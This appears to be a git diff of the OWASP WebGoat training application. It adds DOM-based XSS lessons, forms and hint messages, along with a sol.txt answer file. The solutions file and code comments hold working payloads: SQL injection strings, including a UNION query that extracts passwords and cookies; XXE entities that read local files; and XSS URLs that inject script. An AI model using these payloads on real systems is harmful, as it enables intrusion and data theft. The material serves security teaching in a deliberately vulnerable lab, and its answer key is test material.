if (userid_6b.toString().equals(getPassword())) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());
}
}
protected String getPassword()
{
String password="dave";
try
{
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'";
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
password = results.getString("password");
}
} catch (SQLException sqle)
{
sqle.printStackTrace();
// do nothing
}
} catch (Exception e)
{
e.printStackTrace();
// do nothing
}
return (password);
}
}

View File

@ -19,17 +19,17 @@ public class DOMCrossSiteScripting extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST) @RequestMapping(method = RequestMethod.POST)
public @ResponseBody public @ResponseBody
AttackResult completed(@RequestParam Integer param1, AttackResult completed(@RequestParam Integer param1,
@RequestParam Integer param2, HttpServletRequest request) @RequestParam Integer param2, HttpServletRequest request) throws IOException {
throws IOException {
if (param1 == 42 && param2 == 24 && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) { if (param1 == 42 && param2 == 24 && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) {
System.out.println("DOM-XSS successful, param1 is 42");
return trackProgress(success().build()); return trackProgress(success().build());
} else { } else {
return trackProgress(failed().build()); return trackProgress(failed().build());
} }
} }
} }
// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>

View File

@ -0,0 +1,35 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* Created by jason on 11/23/16.
*/
@AssignmentPath("/CrossSiteScripting/dom-follow-up")
public class DOMCrossSiteScriptingFollowUp extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody
AttackResult completed(@RequestParam String successMessage) throws IOException {
if (successMessage.equals("DOM-XSS successful, param1 is 42")) {
return trackProgress(success().feedback("xss-dom-message-success").build());
} else {
return trackProgress(failed().feedback("xss-dom-message-success").build());
}
}
}
// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>

View File

@ -78,7 +78,7 @@
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework --> <!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like --> <!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN" <form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form" method="GET" name="xss-5a"
action="/WebGoat/CrossSiteScripting/attack5a" action="/WebGoat/CrossSiteScripting/attack5a"
enctype="application/json;charset=UTF-8"> enctype="application/json;charset=UTF-8">
<hr width="90%" /> <hr width="90%" />
@ -161,14 +161,31 @@
<div class="attack-output"></div> <div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons --> <!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div> </div>
</div> </div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content5b.adoc"></div>
<div class="attack-container">
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="xss-5b"
action="/WebGoat/CrossSiteScripting/attack5b"
enctype="application/json;charset=UTF-8">
<input size="4" value="" name="isReflectedXSS" type="text" />
<input type="submit" name="reflectedXssSubmit" value="Submit"/>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div>
</div>
<div class="lesson-page-wrapper"> <div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content6.adoc"></div> <div class="adoc-content" th:replace="doc:CrossSiteScripting_content6.adoc"></div>
</div> </div>
<div class="lesson-page-wrapper">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files, <!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
@ -180,18 +197,11 @@
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework --> <!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like --> <!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN" <form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form" method="POST" name="DOMTestRoute"
action="/WebGoat/CrossSiteScripting/attack6a" action="/WebGoat/CrossSiteScripting/attack6a"
enctype="application/json;charset=UTF-8"> enctype="application/json;charset=UTF-8">
<table> <input name="DOMTestRoute" value="" type="TEXT" />
<tr> <input name="SubmitTestRoute" value="Submit" type="SUBMIT"/>
<td>Name:</td>
<td><input name="userid_6a" value="" type="TEXT" /></td>
<td><input
name="Get Account Info" value="Get Account Info" type="SUBMIT"/></td>
<td></td>
</tr>
</table>
</form> </form>
<!-- do not remove the two following div's, this is where your feedback/output will land --> <!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div> <div class="attack-feedback"></div>
@ -199,133 +209,161 @@
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons --> <!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div> </div>
</div> </div>
<div class="lesson-page-wrapper">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content7.adoc"></div> <div class="adoc-content" th:replace="doc:CrossSiteScripting_content6b.adoc"></div>
</div> <div class="attack-container">
<div class="lesson-page-wrapper"> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content8.adoc"></div> <!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
</div> <form class="attack-form" accept-charset="UNKNOWN"
<div class="lesson-page-wrapper"> method="POST" name="DOMFollowUp"
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> action="/WebGoat/CrossSiteScripting/dom-follow-up"
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, enctype="application/json;charset=UTF-8">
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <input name="successMessage" value="" type="TEXT" />
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content9.adoc"></div> <input name="submitMessage" value="Submit" type="SUBMIT"/>
<img align="middle" th:src="@{/plugin_lessons/plugin/CrossSiteScripting/images/Reflected-XSS.png}" /> </form>
</div> <!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div>
</div>
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content7.adoc"></div>-->
th:replace="doc:CrossSiteScripting_content9a.adoc"></div> <!--</div>-->
<div class="attack-container"> <!--<div class="lesson-page-wrapper">-->
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat --> <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
<!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content8.adoc"></div>-->
<!--</div>-->
<!--<div class="lesson-page-wrapper">-->
<!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
<!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content9.adoc"></div>-->
<!--<img align="middle" th:src="@{/plugin_lessons/plugin/CrossSiteScripting/images/Reflected-XSS.png}" />-->
<!--</div>-->
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN" method="POST"
name="form" action="/WebGoat/CrossSiteScripting/attack9a"
enctype="application/json;charset=UTF-8">
<table cellspacing="0" cellpadding="0" border="0"> <!--<div class="lesson-page-wrapper">-->
<tbody> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<tr> <!--&lt;!&ndash; include content here. Content will be presented via asciidocs files,-->
<td>Title:</td> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<td><input name="title" value="" type="TEXT" /></td> <!--<div class="adoc-content"-->
</tr> <!--th:replace="doc:CrossSiteScripting_content9a.adoc"></div>-->
<tr> <!--<div class="attack-container">-->
<td valign="TOP">Message:</td> <!--<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>-->
<td><textarea cols="60" name="message" rows="5"></textarea></td> <!--&lt;!&ndash; using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat &ndash;&gt;-->
</tr>
</tbody>
</table>
<p>
<input name="SUBMIT" value="Submit" type="SUBMIT" />
</p>
<hr />
<hr />
<h1>Message List</h1>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td><a href="#" style="cursor: hand" link="attack?Num=1"><u></u></a></td>
</tr>
</tbody>
</table>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land --> <!--&lt;!&ndash; using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat &ndash;&gt;-->
<div class="attack-feedback"></div> <!--&lt;!&ndash; you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework &ndash;&gt;-->
<div class="attack-output"></div> <!--&lt;!&ndash; of course, you can write your own ajax submission /handling in your own javascript if you like &ndash;&gt;-->
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons --> <!--<form class="attack-form" accept-charset="UNKNOWN" method="POST"-->
</div> <!--name="form" action="/WebGoat/CrossSiteScripting/attack9a"-->
</div> <!--enctype="application/json;charset=UTF-8">-->
<!--<table cellspacing="0" cellpadding="0" border="0">-->
<!--<tbody>-->
<!--<tr>-->
<!--<td>Title:</td>-->
<!--<td><input name="title" value="" type="TEXT" /></td>-->
<!--</tr>-->
<!--<tr>-->
<!--<td valign="TOP">Message:</td>-->
<!--<td><textarea cols="60" name="message" rows="5"></textarea></td>-->
<!--</tr>-->
<!--</tbody>-->
<!--</table>-->
<!--<p>-->
<!--<input name="SUBMIT" value="Submit" type="SUBMIT" />-->
<!--</p>-->
<!--<hr />-->
<!--<hr />-->
<!--<h1>Message List</h1>-->
<!--<table cellspacing="0" cellpadding="0" border="0">-->
<!--<tbody>-->
<!--<tr>-->
<!--<td><a href="#" style="cursor: hand" link="attack?Num=1"><u></u></a></td>-->
<!--</tr>-->
<!--</tbody>-->
<!--</table>-->
<!--</form>-->
<!--&lt;!&ndash; do not remove the two following div's, this is where your feedback/output will land &ndash;&gt;-->
<!--<div class="attack-feedback"></div>-->
<!--<div class="attack-output"></div>-->
<!--&lt;!&ndash; ... of course, you can move them if you want to, but that will not look consistent to other lessons &ndash;&gt;-->
<!--</div>-->
<!--</div>-->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content10.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content10.adoc"></div>-->
</div> <!--</div>-->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content11.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content11.adoc"></div>-->
</div> <!--</div>-->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content12.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content12.adoc"></div>-->
</div> <!--</div>-->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content13.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content13.adoc"></div>-->
</div> <!--</div> -->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content13a.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content13a.adoc"></div>-->
</div> <!--</div> -->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content14.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content14.adoc"></div>-->
</div> <!--</div> -->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content15.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content15.adoc"></div>-->
</div> <!--</div> -->
<div class="lesson-page-wrapper"> <!--<div class="lesson-page-wrapper">-->
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content15a.adoc"></div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content15a.adoc"></div>-->
</div> <!--</div>-->
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!--<div class="lesson-page-wrapper">-->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!--&lt;!&ndash; reuse this lesson-page-wrapper block for each 'page' of content in your lesson &ndash;&gt;-->
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc --> <!--&lt;!&ndash; include content here, or can be placed in another location. Content will be presented via asciidocs files,-->
<div class="adoc-content" th:replace="doc:CrossSiteScripting_content16.adoc"></div> <!--which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc &ndash;&gt;-->
</div> <!--<div class="adoc-content" th:replace="doc:CrossSiteScripting_content16.adoc"></div>-->
<!--</div> -->
</html> </html>

View File

@ -1,14 +1,21 @@
== What is XSS == What is XSS
NEED DEFINITION. Cross-site script (also commonly known as XSS) is a vulnerability/flaw that combines ...
# the allowance of html/script tags as input that are ...
# rendred into a browser without encoding or sanitization
==== Cross site scripting (XSS) is the most prevalent and pernicious web application security issue === Cross site scripting (XSS) is the most prevalent and pernicious web application security issue
==== XSS flaws occur whenever an application takes user originated data and sends it to a web browser without validation or encoding While there is a simple well-known defense for this attack, there are still many instances of it on the web. In terms of fixing it,
coverage of fixes also tends to be a problem. We'll talk more about the defense in a little bit.
=== XSS allows attackers to execute script in the victims browser and take over the users browser using scripting malware === XSS has a significant impact
==== Examples: Especially as 'Rich Internet Applications' are more and more common place, privileged function calls linked to via javascript may be compromised.
And if not properly protected, sensitive data (such as your authentication cookies) can be stolen and used for someone else's purpose.
==== Quick examples:
* From the browser address bar (chrome, Firefox) * From the browser address bar (chrome, Firefox)
+ +
---- ----
@ -22,4 +29,5 @@ javascript:alert(document.cookie);
---- ----
== Try It! Using Chrome or Firefox == Try It! Using Chrome or Firefox
Type in `javascript:alert(document.cookie);` in the URL bar. If you /cut/paste you'll need to add the `javascript:` back in. Try it on a different tab. Type in `javascript:alert(document.cookie);` in the URL bar. *NOTE:* If you /cut/paste you'll need to add the `javascript:` back in.
Try it on a different tab (with WebGoat open in that tab).

View File

@ -11,7 +11,7 @@
* Insertion of hostile and inappropriate content * Insertion of hostile and inappropriate content
+ +
---- ----
<img src=“http://pornsite.com/image.jpg/> <img src=“http://malicious.site.com/image.jpg/>
“>GoodYear recommends buying BridgeStone tires… “>GoodYear recommends buying BridgeStone tires…
---- ----

View File

@ -2,13 +2,14 @@
=== Reflected === Reflected
* Malicious content from a user request is displayed to the user in a web browser * Malicious content from a user request is displayed to the user in a web browser
* Malicious content is written into the page via server code * Malicious content is written into the page after from server response
* Social engineering is required * Social engineering is required
* Runs with browser privileges inherited from user in browser
=== Local: DOM-based === DOM-based (also technically reflected)
* Malicious content from a user request is used by client-side scripts to write HTML to it own page * Malicious content from a user request is used by client-side scripts to write HTML to it own page
* Similar to reflected XSS * Similar to reflected XSS
* Runs with browser privileges * Runs with browser privileges inherited from user in browser
=== Stored or Persistent === Stored or Persistent
* Malicious content is stored on the server ( in a database, file system, or other object ) and later displayed to users in a web browser * Malicious content is stored on the server ( in a database, file system, or other object ) and later displayed to users in a web browser

View File

@ -2,5 +2,7 @@
Identify which field is susceptible to XSS Identify which field is susceptible to XSS
It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is used in an HTTP response.
In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
Make sure to include in your attack payload "<script>alert('my javascript here')</script>".

View File

@ -1,4 +1,5 @@
== Was it Really Reflected XSS? == Was it Really Reflected XSS?
Now, was the last attack truly reflected XSS? You should have been able to execute script with the last example. Was it truly reflected XSS?

View File

@ -0,0 +1,9 @@
== Was it Really Reflected XSS?
The last example was not truly reflected XSS ... Why you say?
# Can you execute it by changing the URL? (No)
# If you do follow the actual payload in a new tab, does it execute the script? (No ... go ahead and give it a try)
The reason for #2 is that the response type

View File

@ -1,10 +1,12 @@
== DOM-Based XSS Scenario == DOM-Based XSS Scenario
DOM-based XSS is similar to reflected. The difference is that the payload will never go to the server, but will only ever be processed by the client.
* Attacker sends a malicious URL to victim * Attacker sends a malicious URL to victim
* Victim clicks on the link that loads malicious web page * Victim clicks on the link
* The malicious web page's JavaScript opens a local web page on the victims machine that contains an attack * That link may load a malicious web page or a web page they use (are logged into?) that has a vulnerable route/handler
* The local page executes attack in the computers local zone * If it's a malicious web page, it may use it's own JavaScript to attack another page/url with a vulnerable route/handler
* The vulnerable page renders the payload and executes attack in the user's context on that page/site
* Attackers malicious script may run commands with the privileges of local account * Attackers malicious script may run commands with the privileges of local account
*Victim does not realize attack occurred* *Victim does not realize attack occurred* ... Malicious attackers don't use &lt;script&gt;alert('xss')&lt;/ script&gt;

View File

@ -1,3 +1,12 @@
== Try It! DOM-Based XSS == Ientify Potential for DOM-Based XSS
Need A Lesson For this, you'll want to look for some 'test' code in the route handlers (javascript/backbone). Sometimes, test code gets left in.
(Often times test code is very simple and lacks security or any quality controls!).
Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ...
it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/5 (although maybe slightly different). The 'base route' in this case is:
*start.mvc#lesson/*
The *CrossSiteScripting.lesson/5* after that are parameters that are processed by javascript route handler.
So, what is test route for this test code?

View File

@ -0,0 +1,9 @@
== Try It! DOM-Based XSS
Some attacks are 'blind'. Fortunately, you have the server running here so you will be able to tell if you are successful. Use the route you just found and see if
you can use the fact that it reflects a parameter from the route without encoding to execute an internal function in WebGoat. The function you want to execute is ...
*webgoat.customjs.phoneHome()*
Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab. Once you complete it, paste the output message from the log below ...

View File

@ -1,10 +1,12 @@
#StringSqlInjection.java # XSS success, failure messages and hints
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query. xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue.
EnterLastName=Enter your last name: xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy)
NoResultsMatched=No results matched. Try Again. xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command. xss-reflected-5b-failure=Nope, pretty easy to guess now though.
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName" xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment.
SqlStringInjectionHint3=Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Try appending a SQL statement that always resolves to true xss-reflected-6a-failure=No, look at the example. Check the GoatRouter.js file. It should be pretty easy to determine.
SqlStringInjectionHint4=Try entering [ smith' OR '1' = '1 ].
xss.lesson1.failure=Are you sure? Try using a tab from a different site. xss.lesson1.failure=Are you sure? Try using a tab from a different site.
xss-dom-message-success=Correct, I hope you didn't cheat, using the console!
xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful.
#xss-reflected-5b-do5a-first=Do the reflected xss attack prior to this, then come back and answer this.

View File

@ -32,11 +32,11 @@
<scope>provided</scope> <scope>provided</scope>
<type>jar</type> <type>jar</type>
</dependency> </dependency>
<dependency> <!--<dependency>-->
<groupId>org.apache.commons</groupId> <!--<groupId>org.apache.commons</groupId>-->
<artifactId>commons-exec</artifactId> <!--<artifactId>commons-exec</artifactId>-->
<version>1.3</version> <!--<version>1.3</version>-->
</dependency> <!--</dependency>-->
<dependency> <dependency>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-container</artifactId> <artifactId>webgoat-container</artifactId>
@ -68,6 +68,11 @@
<version>4.1.3.RELEASE</version> <version>4.1.3.RELEASE</version>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>
<version>1.2</version>
</dependency>
<!-- Temporarily --> <!-- Temporarily -->
<dependency> <dependency>
<groupId>com.thoughtworks.xstream</groupId> <groupId>com.thoughtworks.xstream</groupId>

88
webgoat-lessons/sol.txt Normal file
View File

@ -0,0 +1,88 @@
### SQLi ###
Basic
Smith - to show it returns smith's records
Smith' or '1'='1 - to show exploit; 1=1 can be any true clause
[2:19 PM]
101
101 or 1=1
Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
## XXE ##
Simple - <?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
Modern Rest Framework - change content type to: Content-Type: application/xml &&
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
Blind SendFile ...
/**
* Solution:
*
* Create DTD:
*
* <pre>
* <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
